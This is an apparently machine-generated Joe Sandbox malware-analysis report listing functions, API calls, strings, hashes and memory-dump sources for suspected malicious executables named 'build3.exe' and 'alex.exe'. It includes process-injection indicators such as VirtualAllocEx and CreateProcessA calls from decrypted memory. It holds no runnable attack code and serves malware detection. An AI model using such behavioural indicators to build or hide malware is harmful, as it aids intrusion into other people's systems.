Instruction ID: 1ff0fae5f77b313250cff4bd20c94b6c143e795da116bbf7a3985ce8aec96a91
Opcode Fuzzy Hash: 85a482bf20cd63c86127650e688db2e7899d5724f335ff0fe73bfba22d6a76b9
Instruction Fuzzy Hash: FEE127B1A102589BDB08EF78ED4679DBBA2EF51314F508258F4019B3C6DB35DA448BB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D58FA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\a\build3.exe, xrefs: 00D58FE8, 00D58FEF, 00D59025

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\a\build3.exe
API String ID: 0-1747788520
Opcode ID: 2973873b309fe99b08f5ceb84b70c198761cd6e547cdfc5b88efc0b846eb95ff
Instruction ID: 6e95be4f0199ac88bd3e246b179ab8df426c5bb37fa8ee0f4aedfe65581c76fd
Opcode Fuzzy Hash: 2973873b309fe99b08f5ceb84b70c198761cd6e547cdfc5b88efc0b846eb95ff
Instruction Fuzzy Hash: BD418D70A00614EFCF219B9DD8819AEFBB8EF85311F140466FD05A7291E7718A49DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5574B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00D55770

Strings

RCC, xrefs: 00D5578A
MOC, xrefs: 00D55782

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f2a5fc90582428cf0a004b5e4a3af98da547727d763d18013398e3f1fe6d3157
Instruction ID: 74fd15519422ad9f5284bdde18bef84c697bedb54a6a73f354995f565b34352e
Opcode Fuzzy Hash: f2a5fc90582428cf0a004b5e4a3af98da547727d763d18013398e3f1fe6d3157
Instruction Fuzzy Hash: C8417871900609EFCF16CF98DC91AAEBBB5FF08301F188059FD14A7225E735A954DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00D3B6C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D3B74E
RaiseException.KERNEL32(?,?,?,?), ref: 00D3B773

Part of subcall function 00D53BF4: RaiseException.KERNEL32(E06D7363,00000001,00000003,00D7E898,?,?,?,00D7E898), ref: 00D53C54

Part of subcall function 00D58B79: IsProcessorFeaturePresent.KERNEL32(00000017,00D5AF0F,?,?,00D56A07,?,?,?,?,00D5763B,?), ref: 00D58B95

Strings

csm, xrefs: 00D3B702

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 688485efa345b8ca6ce8179154767f1cbd431389d56217ac8e2d77e504829d1d
Instruction ID: 254558d9540b62eacdcaf0bd4574919b85868a3b605bb1cd2e9f2cffa5413dd3
Opcode Fuzzy Hash: 688485efa345b8ca6ce8179154767f1cbd431389d56217ac8e2d77e504829d1d
Instruction Fuzzy Hash: AF217F71D007189FCF24DFA5D942AAEB7B9EF44721F58401AEA05AF250DB30AD45CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D517F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00D51854
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D5189F

Strings

pContext, xrefs: 00D51897

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 7ad08773fd718d0aaae44f8169e0cd5f5d482dbc3a4268eb401796f980ef9660
Instruction ID: cdd071b033b557ace9cbe8a711b897070f84368ad42f83ef1188de100875c0fb
Opcode Fuzzy Hash: 7ad08773fd718d0aaae44f8169e0cd5f5d482dbc3a4268eb401796f980ef9660
Instruction Fuzzy Hash: 7E11D63AE00214ABCF25AF58C485A6D7B69EF84362B194165EC0297342DF70DD09CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 00D34897 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00D348B0

Strings

1, xrefs: 00D34963
5120, xrefs: 00D348F7

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: 1$5120
API String ID: 514040917-1666195334
Opcode ID: b924fcf971797c60f8ed71ef0cb85857dea2f1eb0391b7131ffbe3fc3bea98bc
Instruction ID: c34b06231ba8ae17164ccbbbddbd5a549983c830abda9e54ab2facb440ea524d
Opcode Fuzzy Hash: b924fcf971797c60f8ed71ef0cb85857dea2f1eb0391b7131ffbe3fc3bea98bc
Instruction Fuzzy Hash: 8E21AFB09043489BDB24EF28C91A7DD7FB9AF06344F5401C8E54867282D7B55B498BF3

Uniqueness

Uniqueness Score: -1.00%

Function 00D4BA1F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00D4BA41
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D4BA54

Strings

pContext, xrefs: 00D4BA4C

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 660455b3a5dcecd232d95555672a2486f35c12ff27bc2175cf1a101d85891778
Instruction ID: bf74c96711941bb92fb5c309818778525723d6d48f3618f63ba26a6773a30e8b
Opcode Fuzzy Hash: 660455b3a5dcecd232d95555672a2486f35c12ff27bc2175cf1a101d85891778
Instruction Fuzzy Hash: 2CE0923AB002046BCB04B768D84AC5DB7B99F947207144016AD06A3392FFB0AA0986F4

Uniqueness

Uniqueness Score: -1.00%

Function 00D435BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D435ED

Strings

version, xrefs: 00D435D2
pScheduler, xrefs: 00D435E5

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: be98b5dd4d297d417f4e832881b0d48e94861ab82f451bde23c0ae9b31e65357
Instruction ID: f2e6dd237936ae4a1cfc883b603fc3bcf069c38b18b6c9786e2e2e216d83dc16
Opcode Fuzzy Hash: be98b5dd4d297d417f4e832881b0d48e94861ab82f451bde23c0ae9b31e65357
Instruction Fuzzy Hash: 7BE08C38940208BBCB11FBA8D80BBDC7764AB24345F04C1227D1621091EBF4978CCBB2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: alex.exePID: 7604, Parent PID: 7128COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	238
Total number of Limit Nodes:	15

Executed Functions

Function 055707E8 Relevance: 41.7, Strings: 33, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 05570BE7
4'^q, xrefs: 05570AD7
4'^q, xrefs: 05570CC3
4'^q, xrefs: 05570956
4'^q, xrefs: 05570910
4'^q, xrefs: 05570D73
4'^q, xrefs: 055709E2
4'^q, xrefs: 05570AFA
4'^q, xrefs: 055708CA
4'^q, xrefs: 05570B40
4'^q, xrefs: 05570B8F
4'^q, xrefs: 05570B63
4'^q, xrefs: 055709BF
4'^q, xrefs: 05570BBB
4'^q, xrefs: 0557099C
4'^q, xrefs: 05570A05
4'^q, xrefs: 05570C3F
4'^q, xrefs: 05570CEF
4'^q, xrefs: 05570D1B
4'^q, xrefs: 05570B1D
4'^q, xrefs: 05570A6E
4'^q, xrefs: 05570D47
4'^q, xrefs: 05570D9F
4'^q, xrefs: 05570A28
4'^q, xrefs: 055708ED
4'^q, xrefs: 05570A91
4'^q, xrefs: 05570979
4'^q, xrefs: 05570C13
4'^q, xrefs: 05570A4B
4'^q, xrefs: 05570C6B
4'^q, xrefs: 05570AB4
4'^q, xrefs: 05570933
4'^q, xrefs: 05570C97

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
API String ID: 0-2697097662
Opcode ID: fc9979eaa512b46214c36e17d676f7f51d0832eacc6b537aef8db00c78f58eb7
Instruction ID: d4764f56c5dc0e908ba0e41c92aeb5f3617def7e36a338f5c35cfd5f870c9589
Opcode Fuzzy Hash: fc9979eaa512b46214c36e17d676f7f51d0832eacc6b537aef8db00c78f58eb7
Instruction Fuzzy Hash: FC120F70D8120A8FCB18EF76E891A9DB7B2FB50700F5049ADC0495B368DF716D9A8F91

Uniqueness

Uniqueness Score: -1.00%

Function 055707F8 Relevance: 41.7, Strings: 33, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 05570BE7
4'^q, xrefs: 05570AD7
4'^q, xrefs: 05570CC3
4'^q, xrefs: 05570956
4'^q, xrefs: 05570910
4'^q, xrefs: 05570D73
4'^q, xrefs: 055709E2
4'^q, xrefs: 05570AFA
4'^q, xrefs: 055708CA
4'^q, xrefs: 05570B40
4'^q, xrefs: 05570B8F
4'^q, xrefs: 05570B63
4'^q, xrefs: 055709BF
4'^q, xrefs: 05570BBB
4'^q, xrefs: 0557099C
4'^q, xrefs: 05570A05
4'^q, xrefs: 05570C3F
4'^q, xrefs: 05570CEF
4'^q, xrefs: 05570D1B
4'^q, xrefs: 05570B1D
4'^q, xrefs: 05570A6E
4'^q, xrefs: 05570D47
4'^q, xrefs: 05570D9F
4'^q, xrefs: 05570A28
4'^q, xrefs: 055708ED
4'^q, xrefs: 05570A91
4'^q, xrefs: 05570979
4'^q, xrefs: 05570C13
4'^q, xrefs: 05570A4B
4'^q, xrefs: 05570C6B
4'^q, xrefs: 05570AB4
4'^q, xrefs: 05570933
4'^q, xrefs: 05570C97

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q
API String ID: 0-2697097662
Opcode ID: 7cca0972b499f7d3d3fd864ffb85c663ef344d6b1e9fb89482ceaaf404cec7a9
Instruction ID: c20784a45bd3611cdcb41768b913a6e5e4f9f19050cace477a9d0387add20464
Opcode Fuzzy Hash: 7cca0972b499f7d3d3fd864ffb85c663ef344d6b1e9fb89482ceaaf404cec7a9
Instruction Fuzzy Hash: 9712FF70D8120A8FCB18EF76E890A9DB7B6FB50700F5049ADC0495B368DF716D9A8F91

Uniqueness

Uniqueness Score: -1.00%

Function 014FCFF0 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014FD07E
GetCurrentThread.KERNEL32 ref: 014FD0BB
GetCurrentProcess.KERNEL32 ref: 014FD0F8
GetCurrentThreadId.KERNEL32 ref: 014FD151

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a3b827f5c04648785b8e6600ddf961d892582f2d67cf69ac59dd81b675a58b41
Instruction ID: 3024453a8b13d6a26477f7757b6eda40d6db7041d99ea0ea3346999f672aa444
Opcode Fuzzy Hash: a3b827f5c04648785b8e6600ddf961d892582f2d67cf69ac59dd81b675a58b41
Instruction Fuzzy Hash: 425133B0D006098FDB14DFA9CA48BAEFBF1EF48304F20846AE519A7360D7749985CF65

Uniqueness

Uniqueness Score: -1.00%

Function 014FD000 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014FD07E
GetCurrentThread.KERNEL32 ref: 014FD0BB
GetCurrentProcess.KERNEL32 ref: 014FD0F8
GetCurrentThreadId.KERNEL32 ref: 014FD151

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 41362eeda8d7d5734e1d38e7be7ba403a2f58ab05a424e9ba8625ba65bb52d20
Instruction ID: 2c20b45da1220ad14379ccdf854fd93b05a8a4bca92e25c0f96f6969ae7fb349
Opcode Fuzzy Hash: 41362eeda8d7d5734e1d38e7be7ba403a2f58ab05a424e9ba8625ba65bb52d20
Instruction Fuzzy Hash: BB5145B0D006498FDB14DFAACA48BEEFBF1EB88304F20845AD519A7360D7749984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 05574DC0 Relevance: 2.7, Strings: 2, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05574E88
Hbq, xrefs: 05574EEE

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 736992db3948122d228a171dd4bafe6621ac6b8a23f5002f9d407470e4d8c2ad
Instruction ID: 51e66d6690455da6f80827b1d77ee0369ff039d2720647ec9d6f3f7163814114
Opcode Fuzzy Hash: 736992db3948122d228a171dd4bafe6621ac6b8a23f5002f9d407470e4d8c2ad
Instruction Fuzzy Hash: 8E814B75E002598FCF04DFA9C4946AEBFF6FF88310F24852AD409AB354DB349946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05570500 Relevance: 2.7, Strings: 2, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 05570547
, xrefs: 0557054E

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 410256101d8b62966174ba88c98727aa414ff582f605a836b2308c3abbe73c0a
Instruction ID: 91acd618c26ccf43b3accf49e63d03d782780d858d30d9e77b1c592c0cb50d13
Opcode Fuzzy Hash: 410256101d8b62966174ba88c98727aa414ff582f605a836b2308c3abbe73c0a
Instruction Fuzzy Hash: 1371C231990605CFDB00EF2AD4D5A44B7F5FF85314B808969D949AF32AEB71E8D5CB80

Uniqueness

Uniqueness Score: -1.00%

Function 05570510 Relevance: 2.7, Strings: 2, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 05570547
, xrefs: 0557054E

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: e808ce5330e31f2d352a0b1072c637510634c4c5b95ae1e669a67d25823944d0
Instruction ID: 2373862f309431033fa2cd6f380e2b44319d039c54fdba08016e1439a22cc867
Opcode Fuzzy Hash: e808ce5330e31f2d352a0b1072c637510634c4c5b95ae1e669a67d25823944d0
Instruction Fuzzy Hash: E061C330990605CFDB00EF2AD4D5A44B7F5FF85314B808A69D949AB329EB72E8D5CF80

Uniqueness

Uniqueness Score: -1.00%

Function 07406714 Relevance: 1.8, APIs: 1, Instructions: 253
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07406956

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: df0e8a980ec1322d634db3b6e0dc21626aff354a780bc9d176f9a7e451dd0225
Instruction ID: ef24c99cfb6046b56602e0d513e659ab319f688522af4dcee18d9460b0f50e7f
Opcode Fuzzy Hash: df0e8a980ec1322d634db3b6e0dc21626aff354a780bc9d176f9a7e451dd0225
Instruction Fuzzy Hash: 90A17FB1D0021ADFDF10DF68C8407EEBBB2BF49310F1581AAE849A7290D7749995CF92

Uniqueness

Uniqueness Score: -1.00%

Function 07406178 Relevance: 1.8, APIs: 1, Instructions: 252
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07406446

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ec42aafea59db8f7829de534f3015b2aabafa095f747e678eb09d6c21cd47ffa
Instruction ID: 70146ab837a780a3c03a74689a3297da5698595f807e6870b53b1e4f1959bf9c
Opcode Fuzzy Hash: ec42aafea59db8f7829de534f3015b2aabafa095f747e678eb09d6c21cd47ffa
Instruction Fuzzy Hash: 0091E0B0A041258BCB04CF6DC9806AEFBF6AF85310B15C62AD56A9B399C735EC51CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 07406720 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07406956

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 90dda390bb2b58db673bfe699bb522800113074d90f754deecb05c806353b751
Instruction ID: 4e1fa1b81e08052a0fe6ea1cbfdb0606f0d478ab96e8b7d3ef8c227eb4e9b9a4
Opcode Fuzzy Hash: 90dda390bb2b58db673bfe699bb522800113074d90f754deecb05c806353b751
Instruction Fuzzy Hash: 4C916DB1D0021ACFDF10DF68C8407DEBBB2BF49310F1581AAE809A7290DB749995CF92

Uniqueness

Uniqueness Score: -1.00%

Function 014FAD68 Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 014FAFBE

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 44e9120235809fea887c7174d30f32fc605c3300c5998d3422dda3a4e8ce75c8
Instruction ID: ee450880c4d8d83cd93186ca772cb9a4fa27b90cafbe2fcec5d0c897a78a38ab
Opcode Fuzzy Hash: 44e9120235809fea887c7174d30f32fc605c3300c5998d3422dda3a4e8ce75c8
Instruction Fuzzy Hash: 777112B0A00B058FD724DF2AD05075ABBF1FF88214F248A2ED58AD7B60D775E949CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05B56033 Relevance: 1.6, Strings: 1, Instructions: 377COMMON

Download Yara Rule

Strings

[, xrefs: 05B562C2

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: [
API String ID: 0-784033777
Opcode ID: a948da8b9355b9c9cca10b5d103d6f344e5120c7a5f137ef2e7c365c6839eabc
Instruction ID: c7b93dcbe5451e68806447fb4b23d0c10b1d400adf06a1fba638b1ed6f5a7938
Opcode Fuzzy Hash: a948da8b9355b9c9cca10b5d103d6f344e5120c7a5f137ef2e7c365c6839eabc
Instruction Fuzzy Hash: 8312AE74A04229CFDB68DF28C884BD9BBB2BB49314F5081E9D949A7351DB71AEC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 014F590C Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014F59C9

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a657ca36b2acd820694314adebf79006c8763e330c664dbd863c7275b420b478
Instruction ID: fe357379c40e33ed141bfd9f3009fec2d5ca6b24700ba62d83a74a3ac92ba42c
Opcode Fuzzy Hash: a657ca36b2acd820694314adebf79006c8763e330c664dbd863c7275b420b478
Instruction Fuzzy Hash: D941F2B0C00719CFDB24DFA9C884BDEBBB5BF49304F24809AD509AB265DB75594ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 014F44B4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014F59C9

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ffe54128d54cb980c49c78b49bad78f8e2a25c443f819725717b061789543d39
Instruction ID: a59c948c77437111e209f7e501357742af2e625e13f73183b3bb09cfbdca3155
Opcode Fuzzy Hash: ffe54128d54cb980c49c78b49bad78f8e2a25c443f819725717b061789543d39
Instruction Fuzzy Hash: E841D2B0C00719CFDB24DFAAC884B9EBBB5BF49304F24806AD509AB265DB755949CF90

Uniqueness

Uniqueness Score: -1.00%

